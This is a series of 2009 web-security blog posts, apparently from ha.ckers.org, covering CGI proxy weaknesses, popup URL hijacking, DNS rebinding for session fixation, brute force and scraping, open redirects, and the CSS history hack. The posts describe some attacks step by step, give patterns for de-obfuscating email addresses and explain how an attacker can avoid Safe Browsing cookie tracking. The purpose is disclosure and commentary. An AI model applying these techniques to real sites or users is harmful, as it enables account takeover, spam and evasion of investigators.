  #1 - First thing I did was go to Youtube, and then I visited one of my own sites. It turns out that cookies set by Youtube are sent to my site on subsequent requests. So there is no cross domain boundaries for cookies. That’s a huge no-no and would easily de-obfuscate where you’ve been, not to mention giving the other site access to your account.

  #2 - The site sends a referrer of the hidemyass.com website, so you can easily see that the user came from there.

  #3 - The site is still vulnerable to the CSS history hack, but instead of picking one of the sub-urls, you’d just pick the main one of http://hidemyass.com/ and poof!

  #4 - The proxy doesn’t re-write the JavaScript, so it’s easy to just call yourself in the JavaScript to see that they are using this service.

  #5 - Since every site resides on the same CGI proxy’d domain it’s trivial to see what other domains have been logged into and more importantly, what the content is on those other pages.

  #6 - What happens when the site is SSL? Does it even work or does it downgrade you into non-ssl? Either way…

  #7 - Same question as above, but what about FTP, SMB and all the other protocols out there…? Either they work or they don’t. Either way, bad news.

  #8 - The IP addresses aren’t diverse enough - usually the same set of a handful of IPs, and therefore can be tracked, and/or can cause flood limits on sites looking for that sort of thing.

  #9 - Sites like these tend to be run by bad guys, and tend to log whatever information is sent over the wire. What a great place to man in the middle someone - right? Even if they weren’t run by bad guys, they could easily be hacked into in many cases, in which case, every user who utilizes it is potentially in danger.

  #10 - Sites like this tend to muck with the HTML of the page they output, making them trivial to detect in JavaScript space, and worse yet, they often can cause major CSS collisions with other page content, or even be overwritten in such a way that the user thinks they are interacting with the CGI Proxy and doing something benign but in fact the user is performing an action that can hurt them.

  So yeah, please don’t use CGI proxies, unless you really know what you’re doing. They really very rarely increase your security. Most of the time, they just decrease it, as a matter of fact. And yes, this applies to the dozen or so other sites that the same company runs and the hundreds of others you find mentioned on digg.com and the like. Avoid them, unless you simply don’t care about any of these risks.

• 

  Popup & Focus URL Hijacking

  Posted: December 28th, 2009, 12:58pm CST by RSnake

  Tags:  Webappsec   [edit]

  I apologize ahead of time for whomever first sent me this - it’s been so long now that I have long since lost the original email. But at some point a few years ago someone sent me a small snippet of JavaScript that could cause a page to be replaced by another page in such a way that if you looked at the URL bar, it didn’t matter because after you looked at it - a few seconds later - it would be replaced by the evil site. Well, today I spent a few minutes toying around with other potential uses for that same code. Let’s pretend I wanted an unsuspecting user to download my malicious Firefox add-on. I might create something like this demo which claims to be requesting that you download NoScript from Mozilla’s site. When the page loads, a setTimeout fires a few seconds later resulting in the following popup:

  
  Click to Enlarge

  You will notice that it quite clearly says that it is being downloaded from ha.ckers.org, but the vast majority of users won’t understand what that means, since, of course, they are quite clearly on the EV cert protected addons.mozilla.org. Also, presumably an attacker would normally pick something like addons.mozilla.org.xyx.com instead of ha.ckers.org. Worse yet, it blocks the user from downloading the legitimate file until they take action on what my malicious website is prompting them to do. Here’s the equivalent but less useful example in Internet Explorer:

  
  Click to Enlarge

  Unlike Firefox, IE doesn’t even say where the file is being downloaded from so it’s even a more confusing user experience. Not that this is a particularly good example since .xpi files are meaningless in Internet Explorer, but you get the point. Either way, this is kinda a nasty user experience, and is extremely likely to result in user compromise if the malicious site is creative enough in how it presents the user to download the latest version of whatever software addon or plugin the attacker is trying to spoof (think about Adobe Flash upgrades, Java upgrades and so on). Could be nasty.

• 

  Mr-T smbenum and Firefox userprefs

  Posted: December 21st, 2009, 10:52am CST by RSnake

  Tags:  Webappsec   [edit]

  I took a few minutes today to update the Master Recon Tool to include both the default Firefox preferences and the smbenum (enumeration of programs in Internet Explorer). This isn’t a big deal or anything, but it’s more that I think people aren’t really clued into all the stuff that can leak from a browser. Not that this is everything, mind you (for instance I didn’t include the IE decloaking stuff, etc…) but mr-t still includes a lot of stuff.

  You can check out the latest version here or download the zip file here. Although this doesn’t include the logging functionality (intentionally) I hope this is still helpful to someone.

• 

  DNS Rebinding Video

  Posted: December 1st, 2009, 9:29am CST by RSnake

  Tags:  Webappsec   [edit]

  I decided to throw together a video for those of you who are still having trouble wrapping your heads around DNS Rebinding. It’s my first attempt at making a video so there are zero frills, but if and when I make future videos, I may improve that. Most importantly, hopefully this will help explain the details for those of you who aren’t super clear on the problem:

  DNS Rebinding with Robert RSnake Hansen on Vimeo.

  And yes, Raf and JJ - I wore the shirt just for you.

• 

  The Bikini Is No Longer Safe

  Posted: November 23rd, 2009, 4:31pm CST by RSnake

  Tags:  Webappsec   [edit]

  Jeremiah Grossman sent this over this afternoon. No, do not click that scandalous picture of that bikini clad girl… it’s just another example of Clickjacking in the wild. Facebook has been hit by a clickjacking worm found by Gadi Evron. It’s called, funny enough the bikini worm. Just another great example of how defense just keeps getting harder for the good guys. If you aren’t vulnerable to CSRF, you’re vulnerable to XSS. If you aren’t vulnerable to XSS you’re vulnerable to clickjacking…

  It’s just another great example of a combination of attacks, including my favorite - social engineering. The funniest part of this article is where Gadi admitted to finding the worm by way of clicking on it. Oh, Gadi… hahah!

  It’s official. The biniki is no longer safe. Move along.

• 

  Com.Com is Up For Sale

  Posted: November 20th, 2009, 10:38am CST by RSnake

  Tags:  Webappsec   [edit]

  Mubix sent me a link today to the fact that Com.com is for sale. So what, right? Yet another domain that needs a home. But com.com is incredibly important for security. In fact, one of C|NET’s (the company that currently runs com.com) network admins was listed as the 10th most dangerous and least likely person on the Internet during my presentation at OWASP. Why? Because of typo traffic. A friend of mine used to run csuchico.com instead of csuchico.edu and used to get tons of sensitive information about the local college, including building plans, love letters, medical information, bills, and on and on… And that was just one .edu domain. Now imagine the typo traffic for all of .com!

  I’m not just talking about email, but think about all the DNS errors, and the referring URLs and the places that you could XSS just because of sloppy coding? It’s a recon dream come true, and it’s almost entirely passive! I tried to register xn--g6w251d.com at one point (a typo of the simplified Chinese IDN TLD). Most people don’t realize that xn--g6w251d (測試) is a TLD and there are a bunch of others like it. So owning xn--g6w251d.com would allow me to get tons of typo traffic, but ICANN in their infinite wisdom decided you’re not allowed to own things like xn--g6w251d.com anymore because it’s too dangerous. Yet com.com still exists and it’s up for grabs! I’m sure it’s monetarily well out of reach for the average bad guy, but there may be a lot more than average bad guys who are interested in owning this one.

• 

  DNS Rebinding for Scraping and Spamming

  Posted: November 18th, 2009, 10:18am CST by RSnake

  Tags:  Webappsec   [edit]

  Okay, last post about DNS Rebinding and then I’ll (probably) shut up about it for a while. If you haven’t already, please read posts one and two for context. As I was thinking about the best possible uses for DNS Rebinding I actually landed on something that is extremely practical for botnets, email scrapers, blog spammers and so on. One of their largest problems for most attackers/spammers is that they need to be able to scrape the search engines for targets and the only way to do that is to send a massive amount of traffic at them and if they use a small subset of machines they are also making themselves easy to block or subvert. Google typically tries to stop robots from scraping by showing a CAPTCHA. Wouldn’t it be easier and better if the attacker/spammer could use other people’s IP addresses? That’s the promise of DNS Rebinding, now isn’t it - unauthenticated cross domain read access from other people’s computers.

  David Ross had a good post about how another practical defense against DNS Rebinding is using SSL/TLS, but since Google has opted not to secure their search engine, it becomes possible to use DNS Rebinding for its next logical use. Google hasn’t even fixed their other SSL/TLS woes so there’s pretty much no chance they’re going to secure the search engine any time soon. So DNS Rebinding gives the attacker IP diversity. An attacker can use DNS Rebinding to get other people to rip tons of information from Google without Google being able to block the real attacker. Since sites like Google do not respect the host header and they don’t use SSL/TLS an attacker can scrape information from these sites all they want - all the while using other people’s browsers. Now think comment spamming, polling fraud, brute force, and on and on… All of these become extremely easy and practical by burning other people’s IP addresses, instead of the attacker’s/spammer’s. Yes, DNS Rebinding is nasty, and unless the browser companies do something or every attacked web server on earth starts respecting the host header and/or using SSL/TLS it’s a problem that’s here to stay.

  I know a lot of people think this is a complicated technique, but it’s really not that hard. It just requires some JavaScript (similar to BeEF or XSS Shell), a place to log data to log whatever the user saw when the attacker forced them to perform the action, a hacked up DNS server (like the simple DNS Rebinding server sample), a domain, a Firewall that is somehow linked to the attacker/spammer application and some Internet traffic to abuse. None of these things are out of reach for a decently skilled attacker. Anyway, I doubt it’s getting fixed anytime soon, which means DNS Rebinding essentially allows nearly free reign for attackers and spammers for the foreseeable future - and no one appears to be doing anything about it.

• 

  DNS Rebinding for Credential Brute Force

  Posted: November 17th, 2009, 4:07pm CST by RSnake

  Tags:  Webappsec   [edit]

  In part two of my DNS rebinding diatribe I wanted to talk a little more about the previous problem of session fixation. Session fixation is great but it’s only great if by getting them into your account that provides you some value as an attacker. Sometimes that’s useful, sometimes it’s not. But what about a different scenario where the attacker has no access to the page in question so they can’t get access to an account ahead of time - but rather what if the web server is back behind the firewall again? What if it’s a webserver that he wants to compromise but happens to use some cookie as an authentication token? Ahhh… here’s where we might be able to attack it.

  A lot of people still don’t get that you don’t need to know people’s usernames and/or passwords to get into their accounts. If you can get (or guess) the credential, that’s good enough. What if the credential were a weak cookie like username=bob or id=1234567? It might be extremely trivial to use DNS rebinding to not only get access to read the login page and perform a traditional brute force attack, but if the format of the credential is known (like in a lot of open source projects) it may be easy to brute force that token. So yes, by getting DNS rebinding and by utilizing brute force you can then fix their session to whatever account you just broke into. And it just keeps getting worse…

• 

  Session Fixation Via DNS Rebinding

  Posted: November 16th, 2009, 3:44pm CST by RSnake

  Tags:  Webappsec   [edit]

  While I was out at OWASP, I ran into Dan Kaminsky and we started chatting about DNS rebinding - as we are known to do. Almost immediately he surprised me by saying that DNS pinning is a bad idea. After much explaining, I get why he thinks so, and I found myself nodding. It’s not because it’s not a good idea, it’s because it doesn’t work, and all the crazy ideas we’ve both collectively heard are either hugely cumbersome or are easy to break. Either way, they aren’t good solutions. So the only valid solution that has any real hope of working is respecting the host header. This means that every web enabled firewall, print server, router, switch, and internal Wiki is in danger until they too learn how to respect the host header. So yes, DNS rebinding is probably here to stay.

  Now, I’ve had a thought for a while about another attack that can be leveraged because of DNS rebinding - and that is session fixation. So here’s the scenario. Attacker goes to goodguy.com and logs into his account there. Then he takes the cookies that goodguy.com set in the attacker’s browser and he writes up a little script on badguy.com to set the same cookies. The attacker also has a DNS server that sends a DNS response with a time to live of only 1 second. Then the user comes to badguy.com and gets the cookies meant for goodguy.com but which are only visible on badguy.com. Then a piece of JavaScript redirects the user back to badguy.com in 2 seconds, (one second longer than the TTL on the badguy.com DNS response) and the attacker shuts down the firewall on badguy.com so the user cannot reconnect. The browser rebinds DNS, making a second DNS request in the process. This time the attacker responds to the user’s badguy.com DNS request with goodguy.com’s IP address. Since goodguy.com doesn’t respect the host header, the cookies that the attacker set now work flawlessly even though the user is sending the host header of badguy.com in each request. The attacker can’t control cookies on goodguy.com but they can on badguy.com, which is where the browser still thinks it is. The important part here is that the user is now not only on goodguy.com but actually inside the attacker’s account for which the attacker had the cookies (assuming the cookies haven’t timed out or became invalid - and assuming they weren’t in some other way tied to the attacker’s browser/IP, etc…). How this is useful? Well that’s for perhaps another post, but think of this as a great way to perform a certain sub-class of session fixation. The moral of the story - respect the host header, especially if your site has client-based authentication credentials! More about this to come…

• 

  The Future of O2

  Posted: November 15th, 2009, 5:31pm CST by RSnake

  Tags:  Webappsec   [edit]

  Dinis Cruz has a series of posts about the future of his work at IBM and O2 in particular. It starts off with a fictional layout of an application assessment, and why IBM is currently well poised to solve the problem holistically. Then it rapidly breaks down as the posts go on. The problem is O2 doesn’t have a good home within IBM (or at least not yet). Being a project of a pretty substantial size and complexity and having no support model, it stands to reason that it may have some rough times ahead without an executive sponsor. It also makes sense why people may be unlikely to adopt it - without the backing of a more robust team like they would get from a commercial code analysis product.

  Dinis has an open call to action to the enterprises at large who need static code analysis on the cheap, and want something more robust in the future. I’ll be curious to see if any big companies step up to the plate here and takes ownership. It’s a bit unclear about Dinis’ fate within IBM - I think he’s a bit on the fence. One thing I do know, IBM would be foolish to let Dinis walk. That’s especially true if it is (according to Dinis’ case which he builds up in his posts) in their best interest ultimately. Who knows, IBM might get their act together before it’s too late. Otherwise, I bet Dinis will find a good home for himself and O2 elsewhere.

• 

  OWASP AppSecDC Top 10 Changes

  Posted: November 14th, 2009, 3:48pm CST by RSnake

  Tags:  Webappsec   [edit]

  Well, I’m finally back with a mess load of blog posts that I’ll have to write up over the next several days. But I wanted to get this one out first. The conference was a lot of fun and very professionally put together, but like always, I’d like to see more developers attending OWASP. I talked a lot with Dinis Cruz about this, and I’d love to hear any thoughts people have on how we could get more developers and/or managers who have budget to throw at the problem to the conferences. I love talking to a lot of experts, but we’re not pushing the industry forward unless we get more people to attend. So thoughts are welcome.

  On an unrelated note Dave Wichers from Aspect Security did a presentation on the next release candidate for the OWASP top 10. The most important change in my mind is that now unvalidated redirects and forwards are now within the top 10 release candidate. I expect this to be a contentious issue, but it could mean trouble for a lot of companies. For instance, let’s take these two URLs Google. Consider the following URLs:

  https://www.google.com/accounts/ServiceLogin?service=sierra&continue=https%3A%2F%2Fcheckout.google.com%2Fmain%3Fupgrade%3Dtrue&hl=en_US&nui=1&ltmpl=default&gsessionid=8zA6kaO2BqY

  And:

  http://www.google.com/search?/accounts/ServiceLogin?service=sierra&continue=https%3A%2F%2Fcheckout.google.com%2Fmain%3Fupgrade%3Dtrue&hl=en_US&nui=1&ltmpl=default&gsessionid=8zA6kaO2BqY&source=hp&q=rsnake&btnI=

  This is a sloppy example, but you can see that both the login for Google Checkout and the open redirect in “Feeling Lucky” fall on the same domain and thus could easily confuse an unwitting user. So Feeling Lucky could turn into a PCI liability depending on both a) if this version of the OWASP top 10 is ratified and b) if Google’s hopefully unbiased QSA/Bank agree that this is an issue. I’ve always thought redirects were dangerous (especially because Google’s redirects have been actively used by phishers and spammers for years now). But does it belong on the top 10? It’s an interesting question. Another interesting question is if they are on different ports (443 vs 80 like the previous example) should that matter? It could be equally confusing to a consumer regardless of the protocol, and ultimately that’s the how this attack is useful - attacking a user’s perception. If you have an opinion one way or another, I’m sure the OWASP review team would love to hear your thoughts. Anyway, it’ll be interesting to see how this pans out - one way or another.

• 

  Cloud Cracking

  Posted: November 3rd, 2009, 11:30am CST by RSnake

  Tags:  Webappsec   [edit]

  id sent me a link today about how PGP zip file password cracking on Amazon EC2 could work. I’ve actually seen presentations about cloud password cracking in the past, so it wasn’t new to me, per se, but this is a great writeup on the nitty gritty details. But it occurred to me that finding a command injection vulnerability on EC2 gives an attacker a whole new shiny toy to play with.

  By utilizing their command injection within the cloud, the attacker can boost their cracking abilities to unprecedented levels. When id and I started talking about it, he said, “Or you could just use a botnet.” True, but that said, this could even put companies out of business from an economic perspective, as they are forced into much higher utilization than they may have expected. However, id’s right, and yes, botnets are another viable solution to cloud cracking. Botnets are the hacker’s version of the cloud.

• 

  DNS Rebinding in Firefox

  Posted: October 29th, 2009, 3:01pm CDT by RSnake

  Tags:  Webappsec   [edit]

  Either I’m just blind or I never actually got into the nitty gritty of testing DNS pinning in Mozilla’s Firefox, but I never realized until today that Firefox doesn’t actually pin DNS at all. I guess you learn something new every day. For a project un-related to security, a customer needed to fail over to another domain, and they wanted to know how quickly they could do that without necessarily taking their primary site offline in the process. So we started doing some tests. Internet Explorer pins DNS for 30 minutes it looks like. Still short in my mind, but according to the documentation I could find that’s because 24 hours or more broke a lot of things (I’m imagining things like Dyndns and so on.)

  All the documentation I could find online was erroneous and said that Firefox rebound DNS in one minute. In reality Firefox rebound DNS as fast as the DNS time to live expired. We got it to switch DNS within one second. Meaning there was no need for that trick where you close down the port or firewall off the client IP address or anything similar. Nope, all you need to do is turn down the TTL and you’ve got yourself a DNS rebinding scenario. Seems really surprising to me and makes the whole attack way easier on Mozilla since now all you need is access to DNS and a web server to make it work (no access to anything else required). I don’t know why I thought DNS pinning existed in Mozilla’s browser. Has something changed? Can someone verify?

• 

  Whitehouse Drupal and The Open Source Security Model

  Posted: October 25th, 2009, 11:34am CDT by RSnake

  Tags:  Webappsec   [edit]

  Update: Apparently people don’t understand the difference between COTS and Bespoke proprietary. Commercial Off the Shelf is no better than open source for this argument, but I’m not talking about that. I’m talking about proprietary software that is only available to the Whitehouse staff and they are the only ones with access to source. Hopefully that clears up people’s ire.

  Have you heard the news? The Whitehouse has decided to go open source. They have decided to switch from their own proprietary in-house CMS system to Drupal. You heard me right, Drupal. The same Drupal with 12 pages of vulnerabilities at OSVDB since it’s inception. I’m sure this made the Open Source community jump for joy, but I see this as a big mistake if you take it on face value and I’ll get back to that in a minute.

  According to Dries Buytaert, “…this is a clear sign that governments realize that Open Source does not pose additional risks compared to proprietary software…” This is a complete fallacy. More than that, it’s a dangerous that non-security people are touting their knowledge of security as if it’s fact. Look, if you were talking about vulnerabilities per line of code or something, I may get on board with that statement, but that’s just not how the real world works. There is one very massive difference between open source and proprietary coded applications. I can pen-test Drupal all day long without sending a single packet to Whitehouse.gov. Further, if I’m a foreign government I can hire a small army of pen-testers for pennies on the dollar who can try every single attack known to man against every known Drupal configuration without setting off a single IDS alert at the Whitehouse SOC.

  Now, like I said, I see this as a huge mistake, but only if you take it on face value - that means that if the Whitehouse is installing the same Drupal install that you yourself could download and run on your own machine with no tweaks or changes whatsoever, then yes, that’s just foolish. But there’s almost no way that’s true. Like ha.ckers.org they most likely chopped it up, removed all the unnecessary functionality, stripped it down to bare bones, locked the server up so tight it would be impossible to even upgrade it without an act of Congress and on and on… And if you think they’re going to blindly upgrade with every new update that Drupal.org puts out - well I have an EV cert I’d like to sell you. And how is a locked down highly customized variant of Drupal different than a proprietary solution? So don’t jump for joy too quickly, this is either a marketing ploy or it’s going to end badly for National Security. Either way.

• 

  Cyborg CAPTCHA Breaking

  Posted: October 22nd, 2009, 5:50pm CDT by RSnake

  Tags:  Webappsec   [edit]

  I normally steer very clear from articles like this, but I was totally fascinated when I heard this. Both rat neurons and human neurons were used to steer a robotic car. They did so completely without computer or human intervention. They literally “thought” about what they wanted to do to complete a task. Interesting take on a Cyborg - don’t start with a human and tear it down and replace it’s extremities with mechanical parts, start with a machine and introduce a blank slate of a human brain tissue. Now, that’s amazing in it’s own right. But where are the applications for us in security? The first thing I thought of was a super advanced system for anomaly detection, but honestly, computers are far better at processing large data sets than people are. Plus brain-masses (for lack of a better term) lack knowledge and experience, so it would take years for them to even understand what they were looking at, let alone be better than a true human analyst. However, there is one thing that struck me as something that people mostly would agree humans should be better at than computers - CAPTCHA breaking.

  Image analysis in general - yes, it’s possible, but CAPTCHAs should be easy. Just like a child, you’d have to teach it the alphabet, colors, lines, shapes, and all the basics. Then you’ve have to give it a reward system so it wouldn’t fatigue (read the Terminal Man if you want to see why that part is potentially dangerously problematic). But assuming you can get all that done, there is no reason a human brain-mass shouldn’t be able to solve CAPTCHAs just like a human would. You wouldn’t need a head on it, or really anything else. You could have multi-core human brain-mass computers all shoved into a rack. Just need a way to feed them and you’ve got yourself the most effective human analog CAPTCHA breaking system ever built. Scary and morbid, but extremely effective against all fluctuations in CAPTCHA design, assuming they were taught the parameters.

  So what is exactly the definition of a CAPTCHA? I’ve harped on this before. But let’s think about it. What exactly is the measure of a human? Is it cognitive abilities? Then are mentally retarded people no longer considered people? Is it a physical body part? Then are people who have had limbs removed no longer human? What exactly are we trying to measure with a CAPTCHA if indeed the truest definition of such a thing could exist? I think what we are attempting to ascertain most of the time is intent. And with a human brain-mass anti-CAPTCHA system, that would no longer be something we could do. The only thing what we currently think of as CAPTCHAs would still be effective at is increasing the cost of spam. Of course this is all science fiction and riddled with problems, not the least of which is expense. But there are unfathomable military applications for such things, where expense is no longer an obstacle. Skynet may be coming, but it might not be a computer - it might be human brain-mass. Scary.

• 

  Google Voice and URL Obfuscation No Nos

  Posted: October 19th, 2009, 5:46pm CDT by RSnake

  Tags:  Webappsec   [edit]

  I was sent this URL from Engadget about Google Voice URLs being visible within Google Search. I see this kind of thing happen all the time. When you think that your URL is secure because you’re the only one who knows it, you are treading down a very scary path. At minimum combine URL obfuscation with some user level credential to ensure the person is really in control of that account. This is literally security 101.

  I’ve always been a fan of obfuscation personally - people who think it doesn’t work fail to see that things like passwords are themselves obfuscation. It’s just about the fact that obfuscation only works as long as you’re the only one who knows it. As soon as you publish that information on the web, it’s just a matter of time before it goes bad - and in Google’s case, time is usually months. Chalk this up to another bad design decision. Way to go cloud!

• 

  DNSSEC + Certs As a Replacement For SSL’s Transport Security

  Posted: October 15th, 2009, 11:22am CDT by RSnake

  Tags:  Webappsec   [edit]

  I was talking with id last night, and then shopped this idea around to a couple local OWASP guys, but now I think it’s baked enough to talk about publicly. I make no bones about the fact that I think SSL is almost entirely worthless against a determined attacker who has man in the middle access and is intent on doing harm, and not just passively listening. Passively listening is limited to people who can get access to a valid cert (through MD2/MD5 collisions, through being a CA or hacking a CA, etc… all of which have been proven possible). That’s bad enough, but put into that that the visual cues tell you nothing about site authenticity (leaving EV certs out of this for the time being) and you’re left with a nearly completely broken security mechanism in the browser. You can debate this fact all you like, but what if I don’t care about site authenticity, I just want to do transport security?

  An idea we began toying around with is using DNSSEC. Like DKIM, you can put public certs into DNS records that can be queried by any mechanism that wants to use that. By making a change to the way browsers work to look at the DNS record via DNSSEC a few things become possible. Firstly, you can be assured that you are talking to the correct IP address after the negotiation is complete. That is because the DNS record cannot be spoofed (thanks to DNSSEC) and the certificate can prove that the IP you are talking to is really in control because it can verify that it is the owner of the public key. But wait - there’s more!

  SSL certs cost money - but that’s because the CA’s infrastructure needs to be supported. In this model, there is no additional weight on any central authority, outside of DNS itself. So you could theoretically kiss the need for expensive certificates goodbye (sorry CA’s your time may have come!). This obviously couldn’t replace SSL certs in day one, or maybe not even for many years, but for internal applications or for when I want to allow all you readers to ensure you are talking to this server, and not another one, that suddenly becomes possible. It also becomes possible for people in 3rd world countries who cannot afford costly certificates to be able to gain transport security in the browser.

  Now you’re probably saying - how is this different than a self signed cert. Well, leaving out of it that the CAs are vulnerable, there are dozens of them that can create certs to MITM you - of foreign origins and that they suffer from collisions… there’s still one major difference. The browser intentionally throws a warning with self signed certs, and even if it didn’t I still can’t verify that it’s my self signed cert and not someone else’s without a significant amount of burden placed on the user.

  So now you’re probably saying, there are two single points of failure introduced here - the DNS server and the DNSSEC service itself. Why place additional security burdens on the end user? Well, I’d argue that if DNSSEC is broken, we have a much much bigger problem on our hands than we do than if a CA gets broken into even. If we can secure a CA we should be able to secure a DNSSEC service. I’m not worried about that one nearly as much as I am the individual DNS servers themselves. However, remember that their company already relies on DNS. Let’s say they use Godaddy and rely on them to be primary NS. We’ve already been relying on them to provide lookup security for years. The only difference is now they’re using DNSSEC and now we entrust them with the security of the transport.

  The reason I like the idea is that it gives the domain the option to choose - pay for an SSL cert that can be MITM’d or get a free DNSSEC domain cert that can’t. I can’t stop someone from trying to make money off this idea and selling EV DNSSEC domain certs, but I see no reason we can’t make a non extended version completely free to all. Consider this a preliminary RFC - flame away!

• 

  CSS History Hack Used To Ban Torrent Users

  Posted: October 8th, 2009, 8:03pm CDT by RSnake

  Tags:  Webappsec   [edit]

  Back from a very long four weeks of nearly constant travel. SecTor was great, and definitely one of those high quality cons I’ll be returning to. I was really impressed. But anyway, I ran across an interesting thread today as I was perusing my logs. Users have been being banned for using certain Trackers if they are seen having come from certain sites. This is the first time I have seen the CSS history hack actually used in a production environment.

  We’ve often talked about the implications of using the CSS History hack for tracking purposes, but this is another take - banning users. It will be interesting to see how this evolves over time. The other interesting implication here is that CSRF DoS is an amusing way to abuse the trust in a client side script. I wonder if the trackers are smart enough to whitelist their own IPs from that script!

• 

  What Star Trek Predicts About The Future of Information Security

  Posted: September 18th, 2009, 10:00pm CDT by RSnake

  Tags:  Webappsec   [edit]

  I had a funny thought while talking with some folks from Intel about what the future state of of information security would look like and how that relates to what our favorite nerdy show, Star Trek, has to say on the topic. This is meant to be a funny post, but there may be some truth buried in here somewhere too. Without further ado:

  Physical security will always be a problem: How many times have we seen people open up random access panels on the Enterprise and start pulling out chips when something goes awry or just start swapping them out right and left? Crawling through tubes to get past obstacles and the like… all point to the fact that even the most sophisticated military war machine of the future won’t stop some teen aged acting ensign in engineering from taking over control of the whole ship in about 35 seconds.

  Organizations will focus on secure transport and network security and will still ignore drive encryption and the insider threat: I don’t really recall any times where enemies were able to intercept any meaningful communications between the Enterprise and other federation ships. That must mean they are using TLS16/SSL34.0 in the future, which is good, but for some reason any schmuck diplomat from some third world (pun intended) alien race can get any information out of the computer he wants without ever even supplying a password!

  PCI doesn’t stop hackers, now or ever: They don’t use money in the future. Probably because consumers are so sick of having their credit cards stolen is my guess. I’m also guessing based on how many holes still exist; SQL injection still exists even hundreds of years in the future. So currency, and therefore the payment industry had to go. Even Quark trades in gold-pressed latinum - you don’t see the Ferengi taking plastic.

  Biba and Bell La-Padula security models will always be a good idea, but will still never be properly implemented: Seriously, the federation is pretty lax in their whole openness. I mean, should you really let people on your ship, carrying weapons, with no or minimal escort and allow them to use your computers, write to them, copy information off of them and so on? Balancing the prime directive and giving some industrial revolution era alien species access to a computer with the engine schematics to the warp core of the most advanced war ship in the fleet sorta seems a little out of whack. Maybe that’s what they get for not having money in the future - no one’s worried about losing their job.

  The singularity is a non-event and will end up being a wash for security: I mean, Data is pretty cool, but he is really more than a oddity in the show. Sure, he’s saved the Enterprise a number of times, but he’s also pretty darned hackable in the future too. He’s been compromised more than most of the other people on the show combined. This is not a good outlook. Why they didn’t bother to root-kit him, I’ll never know. But if Data is the tipping point of a potential Skynet, I’m not too worried - he plays violin and he owns a cat.

  Individuals will almost completely give up on the idea of protecting their privacy: Everyone on the Enterprise is pretty happy with the idea of carrying around RFID chips on their badges all the time, even when they’re off duty and getting some R&R and T&A on Risa.

  Organizations will always ignore single points of failure, even after it bites them in the ass: I can’t even tell you how many times the Enterprise has managed to damage the one and only di-lithium crystal that they have on the whole ship. They know they can’t whip up a new one with the replicators but they still don’t carry even one spare. Then they end up being stranded or having to use the sensor array to catch radiation from some exploding sun or some other retarded plan that always manages to work out exactly perfectly, but always necessitates near death experiences in the process. Why, for all that’s holy, wouldn’t you just bite the bullet and pay to have two on board? Yes, I’m talking to you, Jean-Luk and you too Mr. CISO.

  The iterative development model will be proven bad for security and quality exactly 1,000,000 times but will still be used in production anyway: How many times have we seen engineering making changes to the warp core while they are 200 light years from any star base or any other craft for that matter? And how many times has that gone smoothly again? No, it’s a bad idea now, and it will always be a bad idea. But then again, maybe you shouldn’t worry so much about keeping your data and integrity intact… it always manages to get fixed in an hour or so anyway, right?

  Biometrics will always be used as a backup to password authentication - but both still suck: Sure, voice print recognition has been used a few times, as has hand scanners and even an iris check a few times. But the vast majority of times someone has entered in a password on the show (which incidentally is almost never - giving you an idea about how lax security will be in the future) it has been by saying it out loud. Hackers must be pretty un-inventive in the future because I’m guessing digital voice recorders are pretty easy to get your hands on.

  Virtualization security is an oxymoron - even in the distant future: I mean, really, how many times has the whole damned ship been taken over by some overzealous holodeck character? Whoever wrote the holodeck hypervisor really needs to be put in a room with Worf for a few hours so he can explain with his batleth what the need for true physical and logical isolation is. Why some Sherlock Holmes character should have access to main memory, I’ll never know. Too bad we aren’t smart enough in the distant future to think about hardware isolation instead of relying exclusively on dangerously faulty software.

  And with that, I’ll let you go back to your regular scheduled programming.

• 

  Half a Million HTTP Headers

  Posted: September 11th, 2009, 12:23pm CDT by RSnake

  Tags:  Webappsec   [edit]

  Over the last few months I’ve accumulated a half a million HTTP headers. It obviously contains a lot of garbage, but it’s still fun to toy with in aggregate. Of course there are lots of hackers in there - because it’s totally unstructured data. It’s some of the worst organized content I’ve ever seen, but it’s still fun to mess with.

  If anyone’s interested, I threw it up on my other blog. A half a million HTTP headers might sound like a lot, but really, a lot of it is duplicated data. For instance search engine spiders, or RSS readers are going to look the same every time. But still, I thought it was interesting, just to look at.

• 

  Email Obfuscation and Spam Robots

  Posted: September 8th, 2009, 2:21pm CDT by RSnake

  Tags:  Webappsec   [edit]

  I’ve long been interested in spam and robots that scrape for email addresses. I’ve done tons of work in the space, although I’ve never published any of it. Call it more of a side hobby than anything I really want to go public with - as it is with a lot of my research. But anyway, today I was messing around with search engines and I found myself typing “at gmail dot com” into them for no apparent reason and poof, out popped a ton of valid although obfuscated email addresses. Aside from the raw text here’s a sampling of the different types:

  …<at>gmail<dot>com
  …(at) gmail (dot) com
  … at-gmail-dot-com
  … {at} {gmail} {dot} {com}
  … [at] gmail [dot] com
  … “at” gmail “dot” com
  … at-gmail-dot-com-for.info
  etc…

  I think it would be interesting to create a generic algorithm for de-obfuscating email addresses of this nature. I’m sure it can be done to some degree, but some get more complicated, and I’m sure once you add in the variants of the username it gets even more complex. Even if you could get only 80% that would still be quite a feat. Still though, I have a feeling it wouldn’t take much effort to create a robot that made quick work of all those obfuscated email addresses. Of course, the benefit to a spammer in spamming people who proactively try to protect themselves from spam is questionable, but it’s still interesting.

• 

  Google Safe-Browsing and Chrome Privacy Leak

  Posted: August 24th, 2009, 11:09am CDT by RSnake

  Tags:  Webappsec   [edit]

  One of the other things Jabra and I talked about that worried a lot of people was the fact that Google’s Safe Browsing software (built into Firefox and Chrome) could be used to track them. Safe Browsing is designed to protect you from phishing and malware sites by using a blacklist approach that gets downloaded to your browser on a regular basis. In an experiment that I let run for 24 hours, I watched the amount of connections Firefox made out to Google. It averaged around 30 times an hour. It was more like 12 times and then 30 minutes later there would be 18 more and so on. So it wasn’t precise. Also, it may not have been a completely valid experiment because I may not have had the whole list in place since I never use Safe Browsing. The browser may have been trying to download the whole thing, which is why it was sending so much traffic. That said, it still sends an awful lot of traffic, from what I saw.

  Now, that may not be so bad, except that it also gets a cookie with a unique crypto string that it sends back to the Google on each request so that Google can send it back a portion of the encrypted anti-phishing/anti-malware lists. That cookie though, is the problem. The cookie is unique per browser. So let’s say an attacker has been using their browser for a while, and then an attacker hops on a wireless network a few miles away to do their hacking. The cookie is still phoning home to Google periodically. So if the company they’re hacking into gets the Feds to issue a warrant/court-order, Google can theoretically track the attacker back to their original IP address not just the one of the wireless. They do this by correlating the IP that attacked the company back to Google, seeing which cookie was used by that IP during that time frame and then looking at what other IP addresses that cookie used. So it becomes critical for an attacker to blow the cookie away not only when starting their new network connection with the wireless, but also when they tear it down again before starting a new one, if they want to remain anonymous.

